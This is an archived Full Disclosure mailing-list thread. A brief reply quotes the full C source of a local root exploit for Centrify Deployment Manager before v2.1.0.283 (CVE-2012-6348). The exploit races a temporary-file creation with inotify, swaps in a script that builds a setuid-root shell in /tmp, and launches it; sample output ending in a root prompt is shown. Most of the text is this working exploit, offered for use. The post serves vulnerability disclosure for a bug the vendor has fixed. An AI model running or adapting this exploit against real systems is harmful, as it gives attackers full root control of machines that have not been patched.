Full Disclosure mailing list archives
Re: Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root
From: "Larry W. Cashdollar" <larry0 () me com>
Date: Tue, 18 Dec 2012 20:56:37 +0000 (GMT)
These guys were really cool about it, probably one of the best vendor responses I've gotten. I am seeing ifI can go to the next iteration of training. =->
On Dec 18, 2012, at 12:51 PM, Jeffrey Walton <noloader () gmail com> wrote:
I've got a feeling you will not be sent to anymore vendor classes :) On Tue, Dec 18, 2012 at 3:49 PM, Larry W. Cashdollar <larry0 () me com> wrote: > /*Local root exploit for Centrify Deployment Manager v2.1.0.283 local root, > Centrify released a fix very quickly - nice vendor response. > > http://vapid.dhs.org/exploits/centrify_local_r00t.c > > CVE-2012-6348 12/17/2012 > http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html > Greetings vladz, Thanks for the inotify & syscall technique. > > This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php > > Run the exploit and wait for administrator to analyse or deploysoftware > to the system. > > larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0 > [*] Launching attack against "centrify.cmd.0" > [+] Creating evil script (/tmp/evil) > [+] Creating target file (/bin/touch /tmp/centrify.cmd.0) > [+] Initialize inotify > [+] Waiting for root to launch "centrify.cmd.0" > [+] Opening root shell (/tmp/sh) > # > > Larry W. Cashdollar > @_larry0 > */ > > > #include <stdlib.h> > #include <stdio.h> > #include <unistd.h> > #include <sys/stat.h> > #include <sys/types.h> > #include <string.h> > #include <sys/inotify.h> > #include <fcntl.h> > #include <sys/syscall.h> > > /*Create a small c program to pop us a root shell*/ > int create_nasty_shell(char *file) { > char *s = "#!/bin/bash\n" > "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" > "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" > "chmod 4755 /tmp/sh;\n"; > > int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); > write(fd, s, strlen(s)); > close(fd); > > return 0; > } > > > int main(int argc, char **argv) { > int fd, wd; > char buf[1], *targetpath, *cmd, > *evilsh = "/tmp/evil", *trash = "/tmp/trash"; > > if (argc < 2) { > printf("Usage: %s <target file> \n", argv[0]); > return 1; > } > > printf("[*] Launching attack against \"%s\"\n", argv[1]); > > printf("[+] Creating evil script (/tmp/evil)\n"); > create_nasty_shell(evilsh); > > targetpath = malloc(sizeof(argv[1]) + 6); > cmd = malloc(sizeof(char) * 32); > sprintf(targetpath, "/tmp/%s", argv[1]); > sprintf(cmd,"/bin/touch %s",targetpath); > printf("[+] Creating target file (%s)\n",cmd); > system(cmd); > > printf("[+] Initialize inotify\n"); > fd = inotify_init(); > wd = inotify_add_watch(fd, targetpath, IN_ATTRIB); > > printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]); > syscall(SYS_read, fd, buf, 1); > syscall(SYS_rename, targetpath, trash); > syscall(SYS_rename, evilsh, targetpath); > > inotify_rm_watch(fd, wd); > > printf("[+] Opening root shell (/tmp/sh)\n"); > sleep(2); > system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); > > return 0; > }
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root Larry W. Cashdollar (Dec 18)
- Re: Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root Jeffrey Walton (Dec 18)
- Re: Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root Larry W. Cashdollar (Dec 18)
- Re: Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root Alexander Georgiev (Dec 20)
- Re: Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root Larry W. Cashdollar (Dec 18)
- Re: Local root exploit for Centrify Deployment Manager < v2.1.0.283 local root Jeffrey Walton (Dec 18)